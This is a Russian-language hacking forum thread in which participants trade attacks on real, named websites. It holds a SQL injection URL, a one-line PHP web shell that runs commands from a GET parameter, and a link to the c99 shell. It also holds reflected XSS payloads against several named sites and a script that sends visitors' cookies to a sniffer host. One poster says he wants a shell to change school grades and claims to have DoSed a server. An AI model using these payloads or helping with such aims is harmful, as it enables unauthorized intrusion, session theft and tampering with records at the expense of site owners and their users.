Почитай, может поможет:

_http://www.vs.motorolka.ru/forum/index.php?showtopic=-1+limit+1,1+union+select+1,2,3--
интересует скули такого вида..их ведь так крутить надо?сначала лимит,а потом юбнион+целест?

да ты прав))) Отметки потом сменю у меня и у всей школе протест!!! Они нас в школе запирают и не выпускают некуда токо после уроков всех(((( Взломаю потом я его задосил с деда)))

вопрос может не в тему но нужен шел))) на форуме ищу никак ненайду что найду непашут ссылки(( выложите кто-то

<?passthru($_GET[cmd]);?>

short_open_tag и register_globals required=\

(c) Raz0r

c99comandshell
http://madnet.name/files/1/10.html

Нашёл пару xss ,но не могу понять как составить ссылку с адресом сниффера.Помогите,я туплю)

http://www.club-nissan.ru/cars/models/Nissan_Stagea/'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

собственно вставка вместо алерта запроса на снифер,вида

<script>img = new Image(); img.src = "блаблабла?"+document.cookie;</script>

не пашет((


В благодарность за ваши советы вот ещё xss (будет супер,если ктонить объяснит как составить ссылки на сниф,т.к. в следующих ,подстановка по методу выше тоже не пашет)

http://www.blogus.ru/tagposts.aspx?id=%D0%B7%D0%B0%D0%B2%D0%BE%D0%B4">< script>alert(document.cookie)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

http://userinfo.ru/sites/'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

http://moemesto.ru/link/1094798'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

http://extremetracking.com/open;ref2?login=magwheel"><script>alert(document.c ookie)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

в большинстве случаях фильтруются некоторые символы, например "+".



да, но иногда другого варианта нету. + приемы кроссбраузерности никто не отменял.